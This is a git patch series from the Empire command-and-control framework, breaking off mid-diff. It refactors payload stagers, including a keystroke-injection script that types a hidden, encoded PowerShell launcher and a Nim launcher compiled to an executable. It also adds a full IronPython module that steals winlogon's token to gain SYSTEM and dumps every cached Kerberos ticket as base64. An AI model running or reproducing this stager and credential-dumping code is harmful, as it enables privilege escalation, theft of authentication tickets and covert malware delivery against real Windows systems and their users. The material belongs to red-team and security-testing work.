language=language, - obfuscate=obfuscate_script, - obfuscation_command=obfuscate_command, - encode=True, - listener_name=listener_name, - ) + launcher = self.mainMenu.stagers.generate_exe_oneliner( + language=language, + obfuscate=obfuscate_script, + obfuscation_command=obfuscate_command, + encode=True, + listener_name=listener_name, + ) - elif language == "powershell": - # generate the PowerShell one-liner with all of the proper options set - launcher = self.mainMenu.stagers.generate_launcher( - listenerName=listener_name, - language=language, - encode=True, - obfuscate=obfuscate_script, - obfuscation_command=obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - stagerRetries=stager_retries, - bypasses=bypasses, - ) + elif language == "powershell": + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher( + listenerName=listener_name, + language=language, + encode=True, + obfuscate=obfuscate_script, + obfuscation_command=obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + stagerRetries=stager_retries, + bypasses=bypasses, + ) - if launcher == "": - log.error("[!] Error in launcher generation.") - return "" - else: - launcher_code = launcher.split(" ")[-1] - return self.mainMenu.stagers.generate_dll(launcher_code, arch) + if launcher == "": + log.error("[!] Error in launcher generation.") + return "" + + launcher_code = launcher.split(" ")[-1] + return self.mainMenu.stagers.generate_dll(launcher_code, arch) diff --git a/empire/server/stagers/windows/ducky.py b/empire/server/stagers/windows/ducky.py index 437659616..354623e09 100644 --- a/empire/server/stagers/windows/ducky.py +++ b/empire/server/stagers/windows/ducky.py @@ -141,23 +141,21 @@ def generate(self): if launcher == "" or interpreter == "": log.error("[!] Error in launcher command generation.") return "" - else: - enc = launcher.split(" ")[-1] - ducky_code = "DELAY 3000\n" - ducky_code += "GUI r\n" - ducky_code += "DELAY 1000\n" - ducky_code += "STRING " + interpreter + "\n" - ducky_code += "ENTER\n" - ducky_code += "DELAY 2000\n" + enc = launcher.split(" ")[-1] - if obfuscate_script and "launcher" in obfuscate_command.lower(): - ducky_code += "STRING " + launcher + " \n" - else: - ducky_code += ( - "STRING powershell -W Hidden -nop -noni -enc " + enc + " \n" - ) + ducky_code = "DELAY 3000\n" + ducky_code += "GUI r\n" + ducky_code += "DELAY 1000\n" + ducky_code += "STRING " + interpreter + "\n" + ducky_code += "ENTER\n" + ducky_code += "DELAY 2000\n" + + if obfuscate_script and "launcher" in obfuscate_command.lower(): + ducky_code += "STRING " + launcher + " \n" + else: + ducky_code += "STRING powershell -W Hidden -nop -noni -enc " + enc + " \n" - ducky_code += "ENTER\n" + ducky_code += "ENTER\n" - return ducky_code + return ducky_code diff --git a/empire/server/stagers/windows/hta.py b/empire/server/stagers/windows/hta.py index 4e940630e..0ea0877a0 100644 --- a/empire/server/stagers/windows/hta.py +++ b/empire/server/stagers/windows/hta.py @@ -137,9 +137,9 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher command generation.") return "" - else: - code = "" + + code = "" return code diff --git a/empire/server/stagers/windows/launcher_lnk.py b/empire/server/stagers/windows/launcher_lnk.py index 267b14611..49cb94ba0 100644 --- a/empire/server/stagers/windows/launcher_lnk.py +++ b/empire/server/stagers/windows/launcher_lnk.py @@ -173,10 +173,8 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher command generation.") return "" - else: - link = pylnk.for_file( - powershell_path, launcher, lnk_name, lnk_icon, lnk_comment - ) - code = link.ret() - return code + link = pylnk.for_file( + powershell_path, launcher, lnk_name, lnk_icon, lnk_comment + ) + return link.ret() diff --git a/empire/server/stagers/windows/launcher_sct.py b/empire/server/stagers/windows/launcher_sct.py index b79d10930..ec4b6aa13 100644 --- a/empire/server/stagers/windows/launcher_sct.py +++ b/empire/server/stagers/windows/launcher_sct.py @@ -147,28 +147,28 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher command generation.") return "" - else: - code = '\n' - code += "\n" - code += " @@ -279,5 +278,3 @@ def generate(self): """ - - return code diff --git a/empire/server/stagers/windows/nim.py b/empire/server/stagers/windows/nim.py index 07593017f..c286baf82 100644 --- a/empire/server/stagers/windows/nim.py +++ b/empire/server/stagers/windows/nim.py @@ -97,12 +97,12 @@ def generate(self): # not a valid listener, return nothing for the script log.error("[!] Invalid listener: " + listener_name) return "" - else: - obfuscate_script = obfuscate.lower() == "true" + + obfuscate_script = obfuscate.lower() == "true" if language in ["csharp", "ironpython"]: if ( - self.mainMenu.listenersv2.get_active_listener_by_name( + self.main_menu.listenersv2.get_active_listener_by_name( listener_name ).info["Name"] != "HTTP[S]" @@ -112,7 +112,7 @@ def generate(self): ) return "" - launcher = self.mainMenu.stagers.generate_exe_oneliner( + launcher = self.main_menu.stagers.generate_exe_oneliner( language=language, obfuscate=obfuscate_script, obfuscation_command=obfuscate_command, @@ -139,31 +139,30 @@ def generate(self): log.error("[!] Error in launcher command generation.") return "" - else: - # Generate nim launcher from template - with open( - self.main_menu.installPath - + "/data/module_source/nim/execute_powershell_bin.nim", - "rb", - ) as f: - nim_source = f.read() - nim_source = nim_source.decode("UTF-8") - nim_source = nim_source.replace("{{ script }}", launcher) - with open("/tmp/launcher.nim", "w") as f: - f.write(nim_source) - - currdir = os.getcwd() - os.chdir("/tmp/") - os.system("nim c -d=mingw --app=console --cpu=amd64 launcher.nim") - os.chdir(currdir) - os.remove("/tmp/launcher.nim") - - # Create exe and send to client - directory = "/tmp/launcher.exe" - - try: - with open(directory, "rb") as f: - return f.read() - except OSError: - log.error("Could not read file at " + str(directory)) - return "" + # Generate nim launcher from template + with open( + self.main_menu.installPath + + "/data/module_source/nim/execute_powershell_bin.nim", + "rb", + ) as f: + nim_source = f.read() + nim_source = nim_source.decode("UTF-8") + nim_source = nim_source.replace("{{ script }}", launcher) + with open("/tmp/launcher.nim", "w") as f: + f.write(nim_source) + + currdir = os.getcwd() + os.chdir("/tmp/") + os.system("nim c -d=mingw --app=console --cpu=amd64 launcher.nim") + os.chdir(currdir) + os.remove("/tmp/launcher.nim") + + # Create exe and send to client + directory = "/tmp/launcher.exe" + + try: + with open(directory, "rb") as f: + return f.read() + except OSError: + log.error("Could not read file at " + str(directory)) + return "" diff --git a/pyproject.toml b/pyproject.toml index ac6c69b52..571402c1e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -146,11 +146,9 @@ extend-immutable-calls = ["fastapi.Depends", "fastapi.params.Depends", "fastapi. # PLR, PLW: Each individual stager, listener, and module lacks tests, so it is not worth the # risk to manually refactor them until there are tests in place for them. -# RET: I want to refactor these with more inverted conditions in a follow-up PR. -"empire/server/listeners/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901", "RET505", "RET508"] -"empire/server/stagers/*" = ["PLR0911", "PLR0912", "PLR0915", "RET505"] -"empire/server/modules/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "RET505"] -"empire/server/common/*" = ["RET505"] +"empire/server/listeners/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901"] +"empire/server/stagers/*" = ["PLR0911", "PLR0912", "PLR0915"] +"empire/server/modules/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915"] # It's hard to limit arguments on the endpoint functions. "empire/server/api/*" = ["PLR0913"] From 050a0a7680a92e6eeb10182ba7254fdd349bd927 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Mon, 22 Jul 2024 14:53:48 -0700 Subject: [PATCH 22/26] Add ticketdumper module (#849) * Add ticketdumper module * changelog * trim suffux from module yaml name in a better way * formatting * cleanup comments and code * comment clean up * Update CHANGELOG.md Co-authored-by: Vincent Rose * Update empire/server/core/module_service.py Co-authored-by: Vincent Rose --------- Co-authored-by: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Co-authored-by: Coin Co-authored-by: Hubbl3 Co-authored-by: Hubble <42596432+Hubbl3@users.noreply.github.com> --- CHANGELOG.md | 1 + .../python/collection/TicketDumper.py | 475 ++++++++++++++++++ .../collection/windows/TicketDumper.yml | 24 + 3 files changed, 500 insertions(+) create mode 100644 empire/server/data/module_source/python/collection/TicketDumper.py create mode 100644 empire/server/modules/python/collection/windows/TicketDumper.yml diff --git a/CHANGELOG.md b/CHANGELOG.md index b525c758d..ad8fe0099 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -31,6 +31,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added job tracking for all tasks in Sharpire (@Cx01N) - Updated agents to track all tasks and removed only tracking jobs (@Cx01N) - Added Invoke-BSOD modules (@Cx01N) +- Added ticketdumper ironpython module (@Hubbl3) - Added ThreadlessInject module (@Cx01N) ### Fixed diff --git a/empire/server/data/module_source/python/collection/TicketDumper.py b/empire/server/data/module_source/python/collection/TicketDumper.py new file mode 100644 index 000000000..d709acfd1 --- /dev/null +++ b/empire/server/data/module_source/python/collection/TicketDumper.py @@ -0,0 +1,475 @@ +################################################## +## IronPython Ticket Dumper +################################################## +## Author: Hubbl3 +## Thanks to Kevin Clark for letting me base this off his csharptoolbox project +################################################## +import clr +import ctypes +import System +import base64 +clr.AddReference("System.Security") +clr.AddReference("System.Runtime.InteropServices") + +import System.Security.Principal as SecurityIdentity +import System.Diagnostics as Diagnostics + +from System import DateTime +from System.Runtime.InteropServices import Marshal +from ctypes import wintypes +from enum import Enum + +ntdll = ctypes.WinDLL('ntdll') +secur32 = ctypes.WinDLL('secur32') +kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) +advapi32 = ctypes.WinDLL('advapi32', use_last_error=True) +try: + address = kernel32.GetProcAddress(secur32._handle, b'LsaCallAuthenticationPackage') + if address != 0: + print(f'Address of LsaCallAuthenticationPackage: {address}') + else: + print('Function not found.') +except Exception as e: + print(f'Error: {str(e)}') + +class LSA_STRING_IN(ctypes.Structure): + + #https://stackoverflow.com/questions/24640817/python-ctypes-definition-for-c-struct + _fields_ = [('Length', wintypes.USHORT), + ('MaximumLength',wintypes.USHORT), + ('Buffer', ctypes.c_char_p)] + +class LSA_STRING_OUT(ctypes.Structure): + + _fields_= [('Length', ctypes.c_uint16), + ('MaximumLength',ctypes.c_uint16), + ('Buffer', wintypes.HANDLE)] + +#Could probably reuse LSA_STRING_OUT but this makes later code more readable +class LSA_UNICODE_STRING(ctypes.Structure): + _fields_ = [('Length', ctypes.c_uint16), + ('MaximumLength', ctypes.c_uint16), + ('Buffer', ctypes.c_wchar_p)] + + +class LUID(ctypes.Structure): + + _fields_=[('LowPart', wintypes.UINT), + ('HighPart', wintypes.INT)] + +class SECURITY_HANDLE(ctypes.Structure): + + _fields_=[('LowPart', wintypes.HANDLE), + ('HighPart', wintypes.HANDLE)] + +class SECURITY_LOGON_SESSION_DATA(ctypes.Structure): + + _fields_=[('Size', wintypes.UINT), + ('LogonId', LUID), + ('UserName', LSA_STRING_OUT), + ('LogonDomain', LSA_STRING_OUT), + ('AuthenticationPackage', LSA_STRING_OUT), + ('LogonType', wintypes.UINT), + ('Session', wintypes.UINT), + ('Sid', wintypes.HANDLE), + ('LogonTime', wintypes.LARGE_INTEGER), + ('LogonServer', LSA_STRING_OUT), + ('DnsDomainName', LSA_STRING_OUT), + ('Upn',LSA_STRING_OUT)] + + +class KERB_CRYPTO_KEY(ctypes.Structure): + _fields_=[('KeyType',wintypes.INT), + ('Length', wintypes.INT), + ('Value', wintypes.HANDLE)] + +class KERB_EXTERNAL_TICKET(ctypes.Structure): + _fields_=[('ServiceName',wintypes.HANDLE), + ('TargetName', wintypes.HANDLE), + ('ClientName',wintypes.HANDLE), + ('DomainName', LSA_STRING_OUT), + ('TargetDomainName', LSA_STRING_OUT), + ('AltTargetDomainName', LSA_STRING_OUT), + ('SessionKey', KERB_CRYPTO_KEY), + ('TicketFlags', ctypes.c_uint32), + ('Flags', ctypes.c_uint32), + ('KeyExpirationTIme', ctypes.c_int64), + ('StartTIme', ctypes.c_int64), + ('EndTime', ctypes.c_int64), + ('RenewUntil', ctypes.c_int64), + ('TimeSkew', ctypes.c_int64), + ('EncodedTicketSize', ctypes.c_int32), + ('EncodedTicket', wintypes.HANDLE)] + +class KERB_TICKET_CACHE_INFO_EX(ctypes.Structure): + _fields_=[('ClientName', LSA_STRING_OUT), + ('ClientRealm', LSA_STRING_OUT), + ('ServerName', LSA_STRING_OUT), + ('ServerRealm', LSA_STRING_OUT), + ('StartTime', ctypes.c_int64), + ('EndTime', ctypes.c_int64), + ('RenewTime', ctypes.c_int64), + ('EncryptionType', ctypes.c_int32), + ('TicketFlags', ctypes.c_uint32)] + + + +class KERB_QUERY_TKT_CACHE_REQUEST(ctypes.Structure): + _fields_=[('MessageType', wintypes.INT), + ('LogonId', LUID)] + +class KERB_QUERY_TKT_CACHE_RESPONSE(ctypes.Structure): + + _fields_=[('MessageType', wintypes.INT), + ('NumberofTickets', wintypes.INT), + ('Tickets', wintypes.HANDLE)] + +class KERB_RETRIEVE_TKT_REQUEST(ctypes.Structure): + _fields_=[('MessageType', wintypes.INT), + ('LogonId', LUID), + ('TargetName', LSA_UNICODE_STRING), + ('TicketFlags', ctypes.c_uint32), + ('CacheOptions', ctypes.c_uint32), + ('EncryptionType', wintypes.INT), + ('CredentialsHandle', SECURITY_HANDLE)] + +class KERB_RETRIEVE_TKT_REQUEST2(ctypes.Structure): + _fields_=[('MessageType', wintypes.INT), + ('LogonId', LUID), + ('TargetName', LSA_UNICODE_STRING), + ('TicketFlags', ctypes.c_uint32), + ('CacheOptions', ctypes.c_uint32), + ('EncryptionType', wintypes.INT), + ('CredentialsHandle', SECURITY_HANDLE)] + + def __init__(self, messageType, logonId, targetName, ticketFlags, cacheOptions,encryptionType): + + self.MessageType = messageType + self.LogonId = logonId + self.TargetName = targetName + self.TicketFlags = ticketFlags + self.CacheOptions = cacheOptions + self.EncryptionType = encryptionType + +class KERB_RETRIEVE_TKT_RESPONSE(ctypes.Structure): + _fields_=[('Ticket',KERB_EXTERNAL_TICKET)] + +class TicketFlags(Enum): + + reserved = 2147483648 + forwardable = 0x40000000 + forwarded = 0x20000000 + proxiable = 0x10000000 + proxy = 0x08000000 + may_postdate = 0x04000000 + postdated = 0x02000000 + invalid = 0x01000000 + renewable = 0x00800000 + initial = 0x00400000 + pre_authent = 0x00200000 + hw_authent = 0x00100000 + ok_as_delegate = 0x00040000 + anonymous = 0x00020000 + name_canonicalize = 0x00010000 + #cname_in_pa_data = 0x00040000 + enc_pa_rep = 0x00010000 + reserved1 = 0x00000001 + empty = 0x00000000 + +class KRB_TICKET(ctypes.Structure): + _fields_ = [('ClientName', ctypes.c_wchar_p), + ('ClientRealm', ctypes.c_wchar_p), + ('ServerName', ctypes.c_wchar_p), + ('ServerRealm', ctypes.c_wchar_p), + ('StartTime', ctypes.c_int64), + ('EndTime', ctypes.c_int64), + ('RenewTime', ctypes.c_int64), + ('EncryptionType', ctypes.c_int32), + ('TicketFlags', ctypes.c_uint32), + ('TicketData', ctypes.POINTER(ctypes.c_ubyte))] + +class LogonSessionData: + def __init__(self, logon_id=None, username="", logon_domain="", auth_package="", logon_type=0, session=0, sid=None, logon_time=None, logon_server="", dns_domain_name="", upn=""): + self.LogonId = logon_id if logon_id is not None else LUID() + self.UserName = username + self.LogonDomain = logon_domain + self.AuthenticationPackage = auth_package + self.LogonType = logon_type + self.Session = session + self.Sid = sid if sid is not None else System.Security.Principal.SecurityIdentifier('S-1-5-21-3623811015-3361044348-30300820-1013') #Random valid SID from ChatGPT. Requires a valid SID to initialize object but value will be overwritten when we use th eobject later + self.LogonTime = logon_time if logon_time is not None else DateTime.Now + self.LogonServer = logon_server + self.DnsDomainName = dns_domain_name + self.Upn = upn + +def isAdministrator()->bool: + + identity = SecurityIdentity.WindowsIdentity.GetCurrent() + principal = SecurityIdentity.WindowsPrincipal(identity) + isAdmin = principal.IsInRole(SecurityIdentity.WindowsBuiltInRole.Administrator) + return isAdmin + +def Elevate()->bool: + + processes = Diagnostics.Process.GetProcessesByName("winlogon") + handle = processes[0].Handle + + #wintypes.HANDLE is equivalent to IntPtr + hToken = wintypes.HANDLE() + + result = advapi32.OpenProcessToken(handle, 0x0002, ctypes.byref(hToken)) + if not result: + print("[!] OpenProcessToken failed") + return False + + hDupToken = wintypes.HANDLE() + result = advapi32.DuplicateToken(hToken, 2, ctypes.byref(hDupToken)) + if not result: + print("[!] DuplicateToken failed") + return False + + result = advapi32.ImpersonateLoggedOnUser(hDupToken) + if not result: + print("[!] ImpersonateLoggedOnUser failed") + return False + + #close handles + kernel32.CloseHandle(hToken) + kernel32.CloseHandle(hDupToken) + + currentSid = SecurityIdentity.WindowsIdentity.GetCurrent().User + if not currentSid.IsWellKnown(SecurityIdentity.WellKnownSidType.LocalSystemSid): + return False + + return True + +def GetLogonSessions(): + + logonSessionCount = wintypes.INT() + logonSessionList = wintypes.HANDLE() + result = secur32.LsaEnumerateLogonSessions(ctypes.byref(logonSessionCount), ctypes.byref(logonSessionList)) + + if result != 0: + print("Error enumerating logon sessions: " + result) + + currentLogonSession = logonSessionList + #Because as far as I know IronPython can't create blittable Structs we need to create a struct pointer + pSessionData = ctypes.POINTER(SECURITY_LOGON_SESSION_DATA)() + sessionDataList = [] + for i in range(logonSessionCount.value): + + secur32.LsaGetLogonSessionData(currentLogonSession, ctypes.byref(pSessionData)) + #Create a SECURITY_LOGON_SESSION_DATA struct object. We could retrieve the data directly from contents but this makes the code more readable + sessionData = pSessionData.contents + + + logonSessionData = LogonSessionData( + logon_id= sessionData.LogonId, + username= Marshal.PtrToStringUni(System.IntPtr(sessionData.UserName.Buffer), sessionData.UserName.Length // 2), + logon_domain= Marshal.PtrToStringUni(System.IntPtr(sessionData.LogonDomain.Buffer), sessionData.LogonDomain.Length // 2), + auth_package= Marshal.PtrToStringUni(System.IntPtr(sessionData.AuthenticationPackage.Buffer), sessionData.AuthenticationPackage.Length // 2), + logon_type= sessionData.LogonType, + session= sessionData.Session, + logon_time = DateTime.FromFileTime(abs(sessionData.LogonTime)), + logon_server= Marshal.PtrToStringUni(System.IntPtr(sessionData.LogonServer.Buffer), sessionData.LogonServer.Length // 2), + dns_domain_name= Marshal.PtrToStringUni(System.IntPtr(sessionData.DnsDomainName.Buffer), sessionData.DnsDomainName.Length // 2), + upn= Marshal.PtrToStringUni(System.IntPtr(sessionData.Upn.Buffer), sessionData.Upn.Length // 2), + sid= None if sessionData.Sid == 0 else System.Security.Principal.SecurityIdentifier(System.IntPtr(sessionData.Sid)) + ) + + sessionDataList.append(logonSessionData) + + #free memory + secur32.LsaFreeReturnBuffer(pSessionData) + currentLogonSession = ctypes.c_void_p(currentLogonSession.value + ctypes.sizeof(LUID)) + + secur32.LsaFreeReturnBuffer(logonSessionList) + return sessionDataList +def ValidateTime(timeInt): + try: + time = DateTime.FromFileTime(timeInt).ToString() + except: + time = DateTime.FromFileTime(0).ToString() + return time + +#IronPython doesn't enforce type hinting. lsaHandle should be an IntPtr and kerberosAuthenticationPAckageIdentifier an int +def GetTickets(lsaHandle, kerberosAuthenticationPackageIdentifier): + + for logonSession in GetLogonSessions(): + + kerbQueryTKTCacheRequest = KERB_QUERY_TKT_CACHE_REQUEST() + + kerbQueryTKTCacheRequest.MessageType = 14 #14 is KerbQueryTicketCacheExMessage + kerbQueryTKTCacheRequest.LogonId = logonSession.LogonId + #must use ctypes.byref(). ctypes.pointer creates a python pointer to a ctypes pointer and causes the call to fail + kerbQueryTKTCacheRequestPtr = ctypes.byref(kerbQueryTKTCacheRequest) + ticketsPointer = ctypes.c_void_p() + returnBufferLength = ctypes.c_uint32() + protocolStatus = ctypes.c_uint32() + size = ctypes.sizeof(kerbQueryTKTCacheRequest) + result = secur32.LsaCallAuthenticationPackage( + lsaHandle, + kerberosAuthenticationPackageIdentifier, + kerbQueryTKTCacheRequestPtr, + size, + ctypes.byref(ticketsPointer), + ctypes.byref(returnBufferLength), + ctypes.byref(protocolStatus)) + if result !=0: + status = ntdll.RtlNtStatusToDosError(result) + print(ctypes.WinError(status)) + print("[!] LsaCallAuthenticationPackage failed") + return False + + + + if ticketsPointer.value == 0: + print("[*] Failed to obtain ticketsPointer for "+ str(logonSession.LogonId.LowPart)) + else: + + #takes the place of marshalptrtostructure + casted = ctypes.cast(ticketsPointer, ctypes.POINTER(KERB_QUERY_TKT_CACHE_RESPONSE)) + kerbQueryTKTCacheResponse = casted.contents + + #Ctypes structures have additional padding that can cause issues. Set for base64 system + dataSize = ctypes.sizeof(KERB_TICKET_CACHE_INFO_EX()) + + for i in range(kerbQueryTKTCacheResponse.NumberofTickets-1): + + ticketAdress = ticketsPointer.value + 8+(i) * dataSize + ticketPtr = ctypes.c_void_p(ticketAdress) + castedTicket = ctypes.cast(ticketPtr, ctypes.POINTER(KERB_TICKET_CACHE_INFO_EX)) + ticketCacheResult = castedTicket.contents + #for some reason occasionally getting invalid FileTimes. Will fix later. for now dump 0 in + serverName = Marshal.PtrToStringUni(System.IntPtr(ticketCacheResult.ServerName.Buffer), ticketCacheResult.ServerName.Length // 2) + serverRealm = Marshal.PtrToStringUni(System.IntPtr(ticketCacheResult.ServerRealm.Buffer), ticketCacheResult.ServerRealm.Length // 2) + clientName = Marshal.PtrToStringUni(System.IntPtr(ticketCacheResult.ClientName.Buffer), ticketCacheResult.ClientName.Length // 2) + lsaHandle2 = wintypes.HANDLE() + result = secur32.LsaConnectUntrusted(ctypes.byref(lsaHandle2)) + KBA = kerberosAuthenticationPackageIdentifier + ticketData = base64.b64encode(bytes(ExtractTickets(lsaHandle2, KBA, kerbQueryTKTCacheRequest.LogonId, serverName))) + print("ticketdata type: " + str(ticketData.GetType())) + print("Username : " + logonSession.UserName) + print("UPN : " + logonSession.Upn) + print("SID : " + logonSession.Sid.ToString()) + print("Session : " + logonSession.Session.ToString()) + print("Logon Server : " + logonSession.LogonServer) + print("Logon Domain : " + logonSession.LogonDomain) + print("Logon Time : " + logonSession.LogonTime.ToString()) + print("Logon Type : " + logonSession.LogonType.ToString()) + print("Auth Package : " + logonSession.AuthenticationPackage.ToString()) + print("----------------:") + print("Start Time : " + ValidateTime(ticketCacheResult.StartTime)) + print("End Time : " + ValidateTime(ticketCacheResult.EndTime)) + print("Renew Time : " + ValidateTime(ticketCacheResult.RenewTime)) + print("Ticket Flags : " + ticketCacheResult.TicketFlags.ToString()) + print("Encryption Type : " + ticketCacheResult.EncryptionType.ToString()) + print("Server Name : " + serverName) + print("Server Realm : " + serverRealm) + print("Client Name : " + clientName) + print("Ticket Data : " + ticketData.decode('ascii')) + print("================================================================") + secur32.LsaFreeReturnBuffer(kerbQueryTKTCacheRequest) + +def ExtractTickets(lsaHandle, kerberosAuthenticationPackageIdentifier, logonId, serverName): + request = KERB_RETRIEVE_TKT_REQUEST() + response = KERB_RETRIEVE_TKT_RESPONSE() + responsePointer = ctypes.c_void_p() + returnBufferLength2 = ctypes.c_uint32() + protocolStatus2 = ctypes.c_uint32() + + # Initialize request + request.MessageType = 0x8 # Set appropriate message type + request.LogonId = logonId + request.TicketFlags = 0x0 # Use default ticket flags + request.CacheOptions = 0x8 # KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED + request.EncryptionType = 0x0 # Use default encryption type + + # Handling the targetName as LSA_UNICODE_STRING + targetName = LSA_UNICODE_STRING() + targetName.Length = ctypes.c_uint16(serverName.Length*2) + targetName.MaximumLength = ctypes.c_uint16(targetName.Length +2) + unicodeBuffer = ctypes.create_unicode_buffer(serverName) + targetName.Buffer = ctypes.cast(unicodeBuffer, ctypes.c_wchar_p) + request.TargetName = targetName + + # referenced Nanorubeus for this next part + # Create a buffer of the right size + structSize = ctypes.sizeof(KERB_RETRIEVE_TKT_REQUEST)+ targetName.MaximumLength + requestBuffer = ctypes.create_string_buffer(structSize) + #copy the request struct to the buffer + + ctypes.memmove(requestBuffer, ctypes.addressof(request), ctypes.sizeof(request)) + requestPtr = ctypes.byref(requestBuffer) + + # Copy targetName buffer to the request structure manually + targetNameBufferPtr = ctypes.c_void_p(ctypes.addressof(requestBuffer) + ctypes.sizeof(KERB_RETRIEVE_TKT_REQUEST)) + ctypes.memmove(targetNameBufferPtr, targetName.Buffer, targetName.MaximumLength) + + contentsPtr = ctypes.cast(requestBuffer, ctypes.POINTER(KERB_RETRIEVE_TKT_REQUEST)) + contentsPtr.contents.TargetName.Buffer = ctypes.cast(targetNameBufferPtr, ctypes.c_wchar_p) + + + + result = secur32.LsaCallAuthenticationPackage( + lsaHandle, + kerberosAuthenticationPackageIdentifier, + requestPtr, + structSize, + ctypes.byref(responsePointer), + ctypes.byref(returnBufferLength2), + ctypes.byref(protocolStatus2) + ) + if result == 0 and responsePointer.value != 0 and returnBufferLength2.value != 0: + print("Ticket extraction successful for {0}.".format(serverName)) + response = ctypes.cast(responsePointer, ctypes.POINTER(KERB_RETRIEVE_TKT_RESPONSE)) + ticketSize = response.contents.Ticket.EncodedTicketSize + encodedTicket = (ctypes.c_byte * ticketSize)() + ctypes.memmove(ctypes.addressof(encodedTicket), response.contents.Ticket.EncodedTicket, ticketSize) + secur32.LsaFreeReturnBuffer(responsePointer) + Marshal.FreeHGlobal(System.IntPtr(ctypes.addressof(requestBuffer))) + return encodedTicket + else: + print("Failed to extract ticket for {0}. ResultCode: {1}, ProtocolStatus: {2}".format(serverName, result, protocolStatus2.value)) + print(responsePointer) + print(returnBufferLength2) + if -2147483648 <= protocolStatus2.value <= 2147483647: + win_error = ntdll.RtlNtStatusToDosError(protocolStatus2.value) + print("Windows Error Code:", win_error) + else: + print("Invalid NTSTATUS Code:", protocolStatus2.value) + return "Fail" + +def main(): + + if not isAdministrator(): + print("[!] must run in an elevated context") + return + + if not Elevate(): + print("[!] Could not Elevate to System") + return + print("successfully elevated") + + #Get Handle to LSA + lsaHandle = wintypes.HANDLE() + + if secur32.LsaConnectUntrusted(ctypes.byref(lsaHandle)) != 0: + print("[!] LsaConnectUntrusted failed") + advapi32.RevertToSelf() + return + kerberosAuthenticationPackageIdentifier = wintypes.ULONG() + name = "kerberos" + encodedName = name.encode('ascii') + LSAString = LSA_STRING_IN() + #Win API are very particular on types so cast everything to make sure they are correct + LSAString.Length = wintypes.USHORT(len(encodedName)) + LSAString.MaximumLength = wintypes.USHORT(len(encodedName) + 1) + LSAString.Buffer = encodedName + if secur32.LsaLookupAuthenticationPackage(lsaHandle, ctypes.byref(LSAString), ctypes.byref(kerberosAuthenticationPackageIdentifier)) != 0: + print("[!] LsaLookupAuthenticationPackage failed") + advapi32.RevertToSelf() + return + GetTickets(lsaHandle,kerberosAuthenticationPackageIdentifier) + +main() diff --git a/empire/server/modules/python/collection/windows/TicketDumper.yml b/empire/server/modules/python/collection/windows/TicketDumper.yml new file mode 100644 index 000000000..6560d2843 --- /dev/null +++ b/empire/server/modules/python/collection/windows/TicketDumper.yml @@ -0,0 +1,24 @@ +name: TicketDumper +authors: + - name: 'Jake Krasnov' + handle: '@hubbl3' + link: '' +description: uses IronPython to dump tickets in the same way that klist.exe does +tactics: [] +techniques: + - T1558 +background: true +output_extension: '' +needs_admin: true +opsec_safe: true +language: python +min_language_version: '3' +comments: + - https://github.com/Hubbl3/IronOffense + - https://gitlab.com/KevinJClark/csharptoolbox/-/blob/master/Kex.cs?ref_type=heads +options: + - name: Agent + description: Agent to execute module on. + required: true + value: '' +script_path: python/collection/TicketDumper.py From 33bb56fa34b3e8c97b54725a9922e4d94acb895b Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Tue, 23 Jul 2024 05:24:00 +0000 Subject: [PATCH 23/26] Prepare release 5.11.1 private --- CHANGELOG.md | 6 +++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ad8fe0099..a3b679a7d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.11.1] - 2024-07-23 + ### Changed - Updated Ruff to 0.5.3 and added additional Ruff rules (@Vinnybod) @@ -884,7 +886,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.0...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.1...HEAD + +[5.11.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.0...v5.11.1 [5.11.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.10.3...v5.11.0 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index a6d88a6c9..aedd09f7f 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.11.0 BC Security Fork" +VERSION = "5.11.1 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 571402c1e..fa76bfa22 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.11.0" +version = "5.11.1" description = "" authors = ["BC Security "] readme = "README.md" From bec4ed7ba7168f6d520c6c0baef3a2ac4dcfb352 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 3 Aug 2024 15:59:18 -0500 Subject: [PATCH 24/26] Added Route4Me to sponsor section (#864) --- CHANGELOG.md | 1 + README.md | 11 +++-------- 2 files changed, 4 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a3b679a7d..6009983fa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ and this project adheres to [Semantic 